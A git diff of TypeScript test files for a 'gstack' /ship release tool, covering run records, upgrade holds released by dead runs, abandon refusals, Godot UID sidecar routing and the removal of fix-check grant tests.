- // Value: protects=the docs audit carries a path only on the tree finish checks, so a --build that rewrites an audited doc after
- // the commit check is still stale (#3970 outside voice); fails_when=the carry compares HEAD and prints DOCS: fresh;
- // seam=finish's docsFresh; no_claim=push's own working-tree guard
- test('a build that rewrites an audited doc after the commit check keeps the docs audit stale', () => {
- const f = fx({ 'README.md': '# Fx\n' }, { 'README.md': '# Fx, from the branch\n' });
- const reviewed = wtree(f);
- const post = snapshot(f);
- const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f), '--docs-rechecked', '--build', "printf '# Generated replacement never audited\\n' > README.md"]);
- expect([r.status, lineOf(r.stdout, 'DOCS')]).toEqual([3, 'DOCS: stale (README.md)']);
- });
-
- test('a fix-check logged on uncommitted content is not counted', () => {
- const { f, passHead, reviewed, post } = afterFixCheck();
- f.write({ 'src/x.ts': 'export const x = 9;\n' });
- expect(logFixCheck(f, { completed: true, converged: true, range_base: passHead }).status).toBe(0);
- f.git('checkout', '--', 'src/x.ts');
- const r = finish(f, reviewed, post);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe('FIX_CHECK: not counted (the row was logged on content no branch commit holds)');
- expect(r.status).toBe(3);
- });
-});
// Value: protects=GST-3562 G: a base merge that puts lines next to the branch's reviewed, unchanged hunk counts as reviewed
// however large either side is (founderstar#515, #3923 once needed a scoped read), with CI on the merged head as the check;
diff --git a/test/ship-run-hold-release.test.ts b/test/ship-run-hold-release.test.ts
new file mode 100644
index 000000000..c967a6bbb
--- /dev/null
+++ b/test/ship-run-hold-release.test.ts
@@ -0,0 +1,99 @@
+/**
+ * An ended or dead /ship run stops holding gstack upgrades on its machine (gskills#25, GST-3546). Before, an ended /ship run held
+ * upgrades for an hour. Moved from round-cap-ruling-path.test.ts when GST-3562 part 4 deleted the round-grant path it also covered.
+ * Fixtures are synthetic.
+ */
+import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
+import { spawn, spawnSync, type ChildProcess } from 'node:child_process';
+import * as fs from 'node:fs';
+import * as os from 'node:os';
+import * as path from 'node:path';
+import { liveRun } from '../lib/ship-run-live';
+import { abandonRefusal, readRunRecord, thisRunOwner, type RunOwner } from '../lib/ship-run-record';
+import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
+
+setDefaultTimeout(120_000);
+const BIN = path.dirname(RELEASE);
+const fxs: ShipFx[] = [];
+const kids: ChildProcess[] = [];
+const tmps: string[] = [];
+afterEach(() => {
+ while (fxs.length) fxs.pop()!.cleanup();
+ for (const k of kids.splice(0)) k.kill('SIGKILL');
+ for (const d of tmps.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+});
+
+const TEST = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
+const ok = (r: { status: number | null; stderr: string; stdout: string }) => { expect(r.status, r.stderr + r.stdout).toBe(0); return r.stdout; };
+const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
+const marker = (f: ShipFx, run: string) => fs.writeFileSync(path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim()), run + '\n');
+
+interface Cap { f: ShipFx; S: string }
+
+/** A fixture whose round-2 review row is logged under /ship run r2 at head S. */
+function atCap(): Cap {
+ const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST });
+ fxs.push(f);
+ const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
+ marker(f, 'r2');
+ const start = ok(run('gstack-review-log', ['--start', 'review'])).trim();
+ ok(run('gstack-review-log', [JSON.stringify({ skill: 'review', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', pass: 2, completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] }), '--finish', start]));
+ return { f, S: headOf(f) };
+}
+
+describe('an ended or dead /ship run stops holding gstack upgrades (gskills#25)', () => {
+ const stateRoot = () => { const d = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'ship-live-'))); tmps.push(d); return d; };
+ const ledger = (sr: string, run: string, extra: Record<string, unknown>) => {
+ fs.mkdirSync(path.join(sr, 'ship-runs', run), { recursive: true });
+ fs.writeFileSync(path.join(sr, 'ship-runs', run, 'budget.json'), JSON.stringify({ kind: 'gstack-ship-budget', run, created_at: new Date(Date.now() - 60_000).toISOString(), ...extra }));
+ };
+ const sleeper = () => { const k = spawn('sleep', ['300'], { stdio: 'ignore' }); kids.push(k); return k.pid!; };
+ const ownerOf = (pid: number): RunOwner => { const o = thisRunOwner(pid)!; expect(o).not.toBeNull(); return o; };
+ const deadOwner = (): RunOwner => { const k = spawnSync('sleep', ['0'], { timeout: 10_000 }); const { shared: _shared, ...here } = ownerOf(process.pid); return { ...here, pid: k.pid!, comm: 'claude' }; };
+
+ // Value: protects=an ended run (its harness gone, or its own checkout run record finished or abandoned) no longer holds upgrades,
+ // while a live, stopped (it may still claim its grant) or unprovable one still does; fails_when=a dead run holds, a stopped run or
+ // an earlier run's finished record releases, or a run on a shared harness is released; seam=liveRun
+ test('dead owner and this run\'s finished record release; a live owner, a stopped run, an older record and a shared harness hold', () => {
+ if (process.platform !== 'linux') return;
+ const sr = stateRoot();
+ ledger(sr, 'dead', { owner: deadOwner() });
+ expect(liveRun(sr)).toMatchObject({ ended: [expect.stringContaining('/ship run dead: its owner process')] });
+ expect(liveRun(sr).live).toBeUndefined();
+ const c = atCap();
+ const recordFile = path.resolve(c.f.work, c.f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim());
+ const record = (state: string, started: number) => fs.writeFileSync(recordFile, JSON.stringify({ v: 1, run: 'r2', state, head: c.S, started_at: new Date(started).toISOString(), beat_at: new Date().toISOString() }) + '\n');
+ const shared = { ...ownerOf(process.pid), shared: true };
+ record('stopped', Date.now());
+ ledger(sr, 'mine', { checkout: c.f.work, owner: shared });
+ expect(liveRun(sr).live).toContain('/ship run mine');
+ record('finished', Date.now() - 3_600_000);
+ expect(liveRun(sr).live).toContain('/ship run mine');
+ ledger(sr, 'other', { checkout: c.f.work, owner: shared, created_at: new Date(Date.now() - 30_000).toISOString() });
+ record('finished', Date.now());
+ expect(liveRun(sr).live).toContain('/ship run mine');
+ fs.rmSync(path.join(sr, 'ship-runs', 'other'), { recursive: true });
+ expect(liveRun(sr).live).toBeUndefined();
+ ledger(sr, 'alive', { owner: ownerOf(sleeper()) });
+ expect(liveRun(sr).live).toContain('/ship run alive');
+ fs.rmSync(path.join(sr, 'ship-runs', 'alive'), { recursive: true });
+ ledger(sr, 'legacy', {});
+ expect(liveRun(sr).live).toContain('/ship run legacy');
+ const out = spawnSync(path.join(BIN, 'gstack-ship-run'), ['live', '--state-root', sr], { encoding: 'utf8', timeout: 60_000 });
+ expect(out.stdout).toContain('RUN_LIVE: /ship run legacy');
+ expect(out.stdout).toContain('RUN_HOLD_RELEASED: /ship run dead');
+ });
+
+ // Value: protects=abandon takes a run whose owner is provably gone at once, instead of after 60 minutes; fails_when=
+ // SHIP_RUN_ABANDON_REFUSED for a run whose harness exited; seam=abandonRefusal
+ test('abandon refuses a fresh run under a live or shared owner and takes one whose owner is gone', () => {
+ if (process.platform !== 'linux') return;
+ const c = atCap();
+ const now = new Date().toISOString();
+ const file = path.resolve(c.f.work, c.f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim());
+ const put = (owner: RunOwner) => { fs.writeFileSync(file, JSON.stringify({ v: 1, run: 'r2', state: 'open', head: c.S, started_at: now, beat_at: now, owner }) + '\n'); return readRunRecord(c.f.work); };
+ expect(abandonRefusal(put(ownerOf(sleeper())), 'r2', undefined)).toContain('still working');
+ expect(abandonRefusal(put({ ...ownerOf(process.pid), shared: true }), 'r2', undefined)).toContain('still working');
+ expect(abandonRefusal(put(deadOwner()), 'r2', undefined)).toBeNull();
+ });
+});
diff --git a/test/ship-run-record.test.ts b/test/ship-run-record.test.ts
index c56e30cf7..ed68fb805 100644
--- a/test/ship-run-record.test.ts
+++ b/test/ship-run-record.test.ts
@@ -1,8 +1,7 @@
/**
* GST-3260 PR 1: the /ship run record replaces the bare run marker. A run is open until a gstack command ends it (finish,
* stop, gstack-skill-end, or gstack-ship-run abandon), never because a lease line aged out or another run's touch pruned
- * it (probe 002). A stopped run records only the fix-check grant for its own stop; a bare marker reads as legacy and an
- * unreadable record fails closed, and both are ended with one recorded abandon. Also: a stop binds to the head its
+ * it (probe 002). A bare marker reads as legacy and an unreadable record fails closed, and both are ended with one recorded abandon. Also: a stop binds to the head its
* stopping row read (#4591), and the round history counts a reused run id once per head (gstack-evals#406).
*/
import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
@@ -34,8 +33,8 @@ const age = (f: ShipFx, minutes: number) => {
const run = (f: ShipFx, bin: string, args: string[]) => f.run(path.join(BIN, bin), args, CHECKOUT);
const preflight = (f: ShipFx, id?: string) => f.run(PREFLIGHT, ['--base', 'main', ...(id ? ['--run', id] : [])], CHECKOUT);
const head = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
-const grant = (f: ShipFx, kind: 'extra-round' | 'fix-check', extra: string[] = [], at = head(f)) =>
- run(f, 'gstack-approvals', ['round-grant', '--pr', '7', '--head', at, '--kind', kind, ...(kind === 'fix-check' && !extra.includes('--stop-run') ? ['--stop-run', 'ro', '--findings', 'p1/outside-voice#1'] : []), ...extra, '--reason', 'fixable blocker', '--by', CAPTAIN]);
+/** An owner ruling with no --owner-ref, which an open /ship run refuses. */
+const ruleBare = (f: ShipFx) => run(f, 'gstack-approvals', ['rule', '--finding', 'src/x.ts:1:correctness', '--head', head(f), '--reason', 'ships as a note', '--words', 'B, note it', '--by', CAPTAIN]);
/** A review row that stopped on one open blocker, logged through gstack-review-log on the committed tree. */
const logStoppingReview = (f: ShipFx) => {
const start = run(f, 'gstack-review-log', ['--start', 'review']);
@@ -65,13 +64,13 @@ describe('a /ship run stays open until a gstack command ends it (GST-3260)', ()
expect(run(f, 'gstack-ship-run', ['status']).stdout).toMatch(/^RUN_STATE: run=r1 state=open beat_age=180m /m);
});
- // Value: protects=a bare marker an older gstack left (a run that died) refuses grants with its state and the way out, and one
- // recorded abandon ends it, with a mark in the PR body; fails_when=the refusal says nothing about how to end the run, or
- // only rm clears it; seam=gstack-approvals round-grant, gstack-ship-run abandon, gstack-ship-receipt abandoned
- test('a stale bare marker reads legacy: grants refuse with the abandon command, and abandon ends it at any age', () => {
+ // Value: protects=a bare marker an older gstack left (a run that died) refuses an unrelayed ruling with its state, and one
+ // recorded abandon ends it, with a mark in the PR body; fails_when=the marker never ends, or only rm clears it;
+ // seam=gstack-approvals rule, gstack-ship-run abandon, gstack-ship-receipt abandoned
+ test('a stale bare marker reads legacy: an unrelayed ruling refuses, and abandon ends it at any age', () => {
const f = fx();
fs.writeFileSync(recordFile(f), 'ship-stale-1\n');
- const refused = grant(f, 'extra-round');
+ const refused = ruleBare(f);
expect(refused.status).toBe(2);
expect(refused.stderr).toContain('/ship run ship-stale-1 is open on this checkout (state legacy, beat_age unknown;');
expect(refused.stderr).toContain('gstack-ship-run abandon --run ship-stale-1 --by <lane or Captain> --reason "<one line>"');
@@ -83,54 +82,14 @@ describe('a /ship run stays open until a gstack command ends it (GST-3260)', ()
expect(record(f)).toMatchObject({ v: 1, run: 'ship-stale-1', state: 'abandoned', ended_by: CAPTAIN, reason: 'the run died before finish' });
expect(receiptRuns(fs.readFileSync(body, 'utf8'))).toEqual([expect.objectContaining({ mark: 'abandoned', run: 'ship-stale-1', by: CAPTAIN, reason: 'the run died before finish' })]);
expect(prReviewHistory(fs.readFileSync(body, 'utf8')).rounds).toBe(0);
- const ok = grant(f, 'extra-round');
+ const ok = ruleBare(f);
expect(ok.status, ok.stderr).toBe(0);
const again = run(f, 'gstack-ship-run', ['abandon', '--run', 'ship-stale-1', '--by', CAPTAIN, '--reason', 'twice']);
expect(again.status).toBe(3);
expect(again.stderr).toContain('(SHIP_RUN_ABANDON_REFUSED;');
});
- // Value: protects=decision C, a stopped run records the fix-check grant its stop's NEXT line names and nothing else; fails_when=
- // the stopped run refuses its own grant (the bare marker reads open) or grants itself an extra round; seam=gstack-ship-receipt
- // stop, gstack-approvals round-grant
- test('a stopped record allows its own stop\'s fix-check grant and refuses an extra round', () => {
- const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- expect(preflight(f, 'ro').status).toBe(0);
- const s = head(f);
- logStoppingReview(f);
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- const stop = run(f, 'gstack-ship-receipt', ['stop', '--body', body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']);
- expect(stop.status, stop.stderr).toBe(0);
- expect(record(f)).toMatchObject({ run: 'ro', state: 'stopped', stop: { head: s, tree: f.git('rev-parse', 'HEAD^{tree}').stdout.trim() } });
- const extra = grant(f, 'extra-round');
- expect(extra.status).toBe(2);
- expect(extra.stderr).toContain('/ship run ro is open on this checkout (state stopped, beat_age 0m;');
- expect(extra.stderr).toContain(`a stopped run records only the fix-check grant for its own stop (--kind fix-check --stop-run ro --head ${s})`);
- expect(grant(f, 'fix-check', ['--stop-run', 'other', '--findings', 'p1/outside-voice#1']).status).toBe(2);
- expect(grant(f, 'fix-check', [], f.git('rev-parse', 'HEAD~1').stdout.trim()).status).toBe(2);
- const own = grant(f, 'fix-check');
- expect(own.status, own.stderr).toBe(0);
- });
- // Value: protects=the own-stop exemption buys one fix round per run: once the run claimed it, a later stop needs the lane's
- // relayed grant; fails_when=a run loops stop, self-grant, claim past R51's cap; seam=gstack-approvals round-grant, run record claim
- test('a stopped run grants itself one fix round: after its claim, another stop needs a relayed grant', () => {
- const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- expect(preflight(f, 'ro').status).toBe(0);
- const s = head(f);
- logStoppingReview(f);
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- expect(run(f, 'gstack-ship-receipt', ['stop', '--body', body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']).status).toBe(0);
- const g = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(grant(f, 'fix-check').stdout)?.[1];
- expect(g).toBeDefined();
- expect(run(f, 'gstack-ship-receipt', ['claim', '--body', body, '--run', 'ro', '--grant', g!]).status).toBe(0);
- fs.writeFileSync(recordFile(f), JSON.stringify({ ...record(f), state: 'stopped' }) + '\n');
- const again = grant(f, 'fix-check', [], s);
- expect(again.status).toBe(2);
- expect(again.stderr).toContain("this run already spent its own stop's fix-check grant (" + g + ')');
- });
// Value: protects=a stopped record of another run is replaced by a new --run, while a preflight with no --run stops on it;
// fails_when=a bare preflight merges the base under the stopped run's stop head; seam=lib/ship-preflight.ts shipRunClear
@@ -150,9 +109,9 @@ describe('a /ship run stays open until a gstack command ends it (GST-3260)', ()
expect(record(f)).toMatchObject({ run: 'r2', state: 'open' });
});
- // Value: protects=stop and claim upgrade a bare marker that names their run, and claim writes the grant it spends into the record;
- // fails_when=a legacy marker stays bare after stop, or the claim lives only in the PR body; seam=gstack-ship-receipt stop/claim
- test('stop and claim upgrade a legacy marker naming their run; claim records the grant and reopens the run', () => {
+ // Value: protects=stop upgrades a bare marker that names its run; fails_when=a legacy marker stays bare after stop;
+ // seam=gstack-ship-receipt stop
+ test('stop upgrades a legacy marker naming its run', () => {
const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
const s = head(f);
fs.writeFileSync(recordFile(f), 'ro\n');
@@ -161,16 +120,11 @@ describe('a /ship run stays open until a gstack command ends it (GST-3260)', ()
fs.writeFileSync(body, 'Fixes a thing.\n');
expect(run(f, 'gstack-ship-receipt', ['stop', '--body', body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']).status).toBe(0);
expect(record(f)).toMatchObject({ v: 1, run: 'ro', state: 'stopped', stop: { head: s } });
- const g = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(grant(f, 'fix-check').stdout)?.[1];
- expect(g).toBeDefined();
- const claim = run(f, 'gstack-ship-receipt', ['claim', '--body', body, '--run', 'ro', '--grant', g!]);
- expect(claim.status, claim.stderr).toBe(0);
- expect(record(f)).toMatchObject({ run: 'ro', state: 'open', stop: { head: s }, claim: { grant: g, stop_run: 'ro', stop_head: s, findings: ['p1/outside-voice#1'] } });
});
- // Value: protects=an unreadable record fails closed (preflight and grants refuse) and one abandon naming its digest ends it;
+ // Value: protects=an unreadable record fails closed (preflight and unrelayed rulings refuse) and one abandon naming its digest ends it;
// fails_when=a corrupt record reads as no run; seam=lib/ship-run-record.ts readRunRecord, gstack-ship-run
- test('an unreadable record stops preflight and grants; abandon --run unknown takes only its digest', () => {
+ test('an unreadable record stops preflight and rulings; abandon --run unknown takes only its digest', () => {
const f = fx();
fs.writeFileSync(recordFile(f), '{"v":1,"run":\n');
f.advanceBase({ 'docs/new.md': '# new\n' });
@@ -178,7 +132,7 @@ describe('a /ship run stays open until a gstack command ends it (GST-3260)', ()
expect(pre.status).toBe(3);
expect(pre.stdout).toContain('STOP: /ship run unknown is open on this checkout and past its preflight (');
expect(pre.stdout).toContain('state unreadable');
- expect(grant(f, 'extra-round').stderr).toContain('state unreadable');
+ expect(ruleBare(f).stderr).toContain('state unreadable');
const status = run(f, 'gstack-ship-run', ['status']);
expect(status.status).toBe(1);
expect(status.stderr).toContain('(SHIP_RUN_RECORD_UNREADABLE;');
@@ -354,3 +308,31 @@ describe('the round history counts a reused run id once per head (gstack-evals#4
expect(prReviewHistory(sameHead)).toMatchObject({ rounds: 1, heads: 1 });
});
});
+
+describe('a stop before any PR fails when nothing records it (#4826 review)', () => {
+ // Value: protects=a pre-PR stop exits 0 and prints STOP_RECORD only when the run record took it, and a valueless --pr
+ // is a usage error rather than a silent pre-PR stop; fails_when=a refused run-record write or a bare --pr reads as
+ // recorded; seam=gstack-ship-receipt stop
+ test('the own run records it; another run\'s record and a bare --pr refuse with no STOP_RECORD', () => {
+ const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
+ expect(preflight(f, 'rx').status).toBe(0);
+ logStoppingReview(f);
+ const since = ['--since', '2000-01-01T00:00:00Z'];
+ const other = run(f, 'gstack-ship-receipt', ['stop', '--run', 'ro', ...since]);
+ expect(other.status, other.stdout).toBe(1);
+ expect(other.stdout).not.toContain('STOP_RECORD:');
+ expect(other.stderr).toContain("the record is run rx's, not ro's");
+ expect(record(f)).toMatchObject({ run: 'rx', state: 'open' });
+ for (const args of [['--pr'], ['--pr', '--run', 'rx'], ['--body']]) {
+ const bare = run(f, 'gstack-ship-receipt', ['stop', ...since, '--run', 'rx', ...args]);
+ expect(bare.status, args.join(' ')).toBe(2);
+ expect(bare.stdout).not.toContain('STOP_RECORD:');
+ }
+ expect(record(f)).toMatchObject({ run: 'rx', state: 'open' });
+ const own = run(f, 'gstack-ship-receipt', ['stop', '--run', 'rx', ...since]);
+ expect(own.status, own.stderr).toBe(0);
+ expect(own.stdout).toContain('STOP_RECORD: run=rx head=' + head(f));
+ expect(own.stdout).toContain(' pr=none');
+ expect(record(f)).toMatchObject({ run: 'rx', state: 'stopped', stop: { head: head(f) } });
+ });
+});
diff --git a/test/ship-uid-sidecar.test.ts b/test/ship-uid-sidecar.test.ts
index f0d1b4e33..ed106f9d3 100644
--- a/test/ship-uid-sidecar.test.ts
+++ b/test/ship-uid-sidecar.test.ts
@@ -1,8 +1,7 @@
/**
- * Godot 4 UID sidecars after review (GST-1604, founderstar#611) and base-declared test code. founderstar#611's owner
- * granted a fix-check, CI then forced one more scripts/ui/cutscene.gd edit (owner-accepted under the review-loop
- * exception), and lint wanted tests/cutscene_check.gd.uid: the one-line UID sidecar of a test script the PR added before
- * review, committed after the fix-check. No route took it, so a one-line random id cost another fix-check or a fresh /ship.
+ * Godot 4 UID sidecars after review (GST-1604, founderstar#611) and base-declared test code. On founderstar#611, lint
+ * wanted tests/cutscene_check.gd.uid after review: the one-line UID sidecar of a test script the PR added before review.
+ * No route took it, so a one-line random id cost another review round or a fresh /ship.
* A sidecar finish proves from the tree now routes as sidecar=, with no reader; every other .uid keeps its old route with a
* ROUTE_SIDECAR_REFUSED reason. GDScript tests (tests/*_check.gd) match no built-in test glob, so a base policy can declare
* them under test_code; a head-only declaration changes nothing.
@@ -30,34 +29,22 @@ const snapshot = (f: ShipFx) => {
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', out, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
return out;
};
-const exceptionFile = (f: ShipFx, fixHead: string) => {
- const file = path.join(f.root, 'loop-exception.json');
- fs.writeFileSync(file, JSON.stringify({ accepted_by: 'GStack Minder (rule 23 grant)', date: '2026-11-06', via: 'GSTA-36', reason: 'the CI fix after the granted fix-check, then ship', fix_check: { head: fixHead, findings: 1 } }));
- return file;
-};
const behaviorStop = (p: string) => `STOP: behavior, tests or build inputs changed since review (${p}): insert 5–11.5 → 12–14 → 16 before Step 17; plan that Step 9 with gstack-review-plan --post-review, which at the round cap plans one read-only full review of the final head (stage 2.1)`;
const UID = 'uid://cecaux1sm7mo\n';
const SIDECAR = 'tests/cutscene_check.gd.uid';
const CUTSCENE = (extra = '') => `extends Node\nfunc play(): return\n${extra}`;
const CHECK = 'extends SceneTree\nfunc _init():\n\tassert(true)\n\tquit()\n';
-interface Shape { after?: (f: ShipFx) => void; base?: Record<string, string>; feat?: Record<string, string>; fixRange?: Record<string, string> }
-/**
- * founderstar#611: the PR edits scripts/ui/cutscene.gd and adds tests/cutscene_check.gd, and the review reads them; the
- * granted fix-check reads them and `fixRange` at fixHead; then one commit edits cutscene.gd again and adds what `after`
- * writes (the sidecar).
- */
-function founderstar611({ after = f => f.write({ [SIDECAR]: UID }), base = {}, feat = {}, fixRange }: Shape = {}) {
+interface Shape { after?: (f: ShipFx) => void; base?: Record<string, string>; feat?: Record<string, string> }
+/** founderstar#611: the PR edits scripts/ui/cutscene.gd and adds tests/cutscene_check.gd, the review reads them, then one commit adds what `after` writes (the sidecar). */
+function founderstar611({ after = f => f.write({ [SIDECAR]: UID }), base = {}, feat = {} }: Shape = {}) {
const f = fx({ 'scripts/ui/cutscene.gd': 'extends Node\nfunc play(): pass\n', ...base }, { 'scripts/ui/cutscene.gd': CUTSCENE(), 'tests/cutscene_check.gd': CHECK, ...feat });
const reviewed = wtree(f);
const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
const post = snapshot(f);
- if (fixRange) { f.write(fixRange); f.commit('a fix inside the granted fix-check'); }
- const fixHead = head(f);
- f.write({ 'scripts/ui/cutscene.gd': CUTSCENE('func skip(): pass\n') });
after(f);
- f.commit('the CI fix after the fix-check, and the UID sidecar lint asks for');
- const run = () => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--reviewed-base', reviewedBase, '--docs-post', post, '--lane', LANE, '--review-loop-exception', `@${exceptionFile(f, fixHead)}`]);
+ f.commit('the UID sidecar lint asks for');
+ const run = () => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--reviewed-base', reviewedBase, '--docs-post', post, '--lane', LANE]);
return { f, run };
}
@@ -71,11 +58,11 @@ describe('isGodotUidText pins what Godot 4 writes for one UID', () => {
});
});
-describe('a Godot UID sidecar added after the fix-check (GST-1604: founderstar#611)', () => {
+describe('a Godot UID sidecar added after review (GST-1604: founderstar#611)', () => {
test('the #611 shape binds with no reader, and the receipt and the PR body list the sidecar', () => {
const { f, run } = founderstar611({ feat: { 'scenes/cutscene_check.tscn': `[gd_scene load_steps=2 format=3 uid="uid://b4w2kq0ly8s5n"]\n\n[ext_resource type="Script" uid="${UID.trim()}" path="res://tests/cutscene_check.gd" id="1"]\n` } });
const r = run();
- expect(lineOf(r.stdout, 'ROUTE'), r.stdout).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=\d+ context=0 accepted=1 sidecar=1$/);
+ expect(lineOf(r.stdout, 'ROUTE'), r.stdout).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=\d+ context=0 sidecar=1$/);
expect(lineOf(r.stdout, 'UID_SIDECAR')).toBe(`UID_SIDECAR: ${SIDECAR} (beside tests/cutscene_check.gd)`);
expect(r.stdout).not.toContain('scoped reader');
expect([r.status, lineOf(r.stdout, 'EVIDENCE')]).toEqual([0, expect.stringMatching(/^EVIDENCE: FRESH label=tests /)]);
@@ -89,17 +76,10 @@ describe('a Godot UID sidecar added after the fix-check (GST-1604: founderstar#6
expect(f.run(path.join(BIN, 'gstack-ship-receipt'), ['write', '--pr', '611', '--base', 'main', '--body', body, '--json']).stderr).not.toContain('Godot UID sidecar');
});
- test('a sidecar beside a script only the review-loop exception accepted binds too', () => {
- const { run } = founderstar611({ fixRange: { 'scripts/ui/skip.gd': 'extends Node\n' }, after: f => f.write({ 'scripts/ui/skip.gd': 'extends Node\nfunc skip(): pass\n', 'scripts/ui/skip.gd.uid': 'uid://b4w2kq0ly8s5n\n' }) });
- const r = run();
- expect(lineOf(r.stdout, 'ROUTE'), r.stdout).toMatch(/ behavior=0 .* accepted=2 sidecar=1$/);
- expect(lineOf(r.stdout, 'UID_SIDECAR')).toBe('UID_SIDECAR: scripts/ui/skip.gd.uid (beside scripts/ui/skip.gd)');
- expect(r.status).toBe(0);
- });
test('a .uid with no reviewed sibling, a second line, a symlink, an executable or a changed UID refuses and stops as behavior', () => {
const cases: [string, string, (f: ShipFx) => void, Record<string, string>?, Record<string, string>?][] = [
- ['scripts/menu.gd.uid', 'has no sibling scripts/menu.gd that the reviewed range added or modified or the review-loop exception accepted', f => f.write({ 'scripts/menu.gd.uid': UID }), { 'scripts/menu.gd': 'extends Node\n' }],
+ ['scripts/menu.gd.uid', 'has no sibling scripts/menu.gd that the reviewed range added or modified', f => f.write({ 'scripts/menu.gd.uid': UID }), { 'scripts/menu.gd': 'extends Node\n' }],
['tests/ghost.gd.uid', 'has no sibling tests/ghost.gd', f => f.write({ 'tests/ghost.gd.uid': UID })],
[SIDECAR, 'is not exactly one Godot uid://<id> line', f => f.write({ [SIDECAR]: UID + 'uid://b\n' })],
[SIDECAR, 'is not a regular non-executable file (mode 120000)', f => fs.symlinkSync('cutscene_check.gd', path.join(f.work, SIDECAR))],
diff --git a/test/size-ledger/ship/ship-deletes-retired-grants.json b/test/size-ledger/ship/ship-deletes-retired-grants.json
new file mode 100644
index 000000000..80a841f3f
--- /dev/null
+++ b/test/size-ledger/ship/ship-deletes-retired-grants.json
@@ -0,0 +1,4 @@
+{
+ "bytes": -1151,
+ "why": "GST-3562 part 4: grant, fix-check and trail-read prose removed; driver budget start/close and plan-file note"
+}
diff --git a/test/test-of-test-ratchet.test.ts b/test/test-of-test-ratchet.test.ts
index d6dac6a35..86ca6a706 100644
--- a/test/test-of-test-ratchet.test.ts
+++ b/test/test-of-test-ratchet.test.ts
@@ -230,7 +230,6 @@ const BASELINE = [
'test/shared-libs-source-reads.test.ts', // slices test/skill-e2e-shared-libs-paths.test.ts source (recorded 2026-10 when the ratchet learned paid-source slicing)
'test/shared-libs-stage-actor.test.ts', // slices test/skill-e2e-shared-libs.test.ts source (recorded 2026-10 when the ratchet learned paid-source slicing)
'test/ship-coverage-audit-af.test.ts', // slices test/skill-e2e-workflow.test.ts source (recorded 2026-10 when the ratchet learned paid-source slicing)
- 'test/ship-finish-fixed-links.test.ts', // GST-1973: runs bin/gstack-ship-release finish through test/helpers/ship-bin-fixture.ts's RELEASE path, like test/ship-release.test.ts
'test/ship-release.test.ts', // GSTA-167 PR 4: runs bin/gstack-ship-release through test/helpers/ship-bin-fixture.ts's RELEASE path, so it names no bin/ literal itself
'test/ship-section-fixture.test.ts',
'test/skill-budget-regression.test.ts',